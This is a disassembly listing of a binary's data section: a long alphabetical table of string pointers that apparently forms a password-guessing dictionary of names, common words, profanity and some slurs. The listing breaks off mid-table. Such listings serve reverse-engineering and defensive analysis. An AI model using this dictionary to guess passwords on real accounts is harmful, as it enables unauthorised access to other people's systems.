aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_4289BC dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat_0 ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool_1 ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay_0 ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" off_430050 dd offset aEddie ; DATA XREF: ___:00427B70o ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" off_43005C dd offset aEdit ; DATA XREF: ___:off_427A0Co ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp_0 ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_1 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; 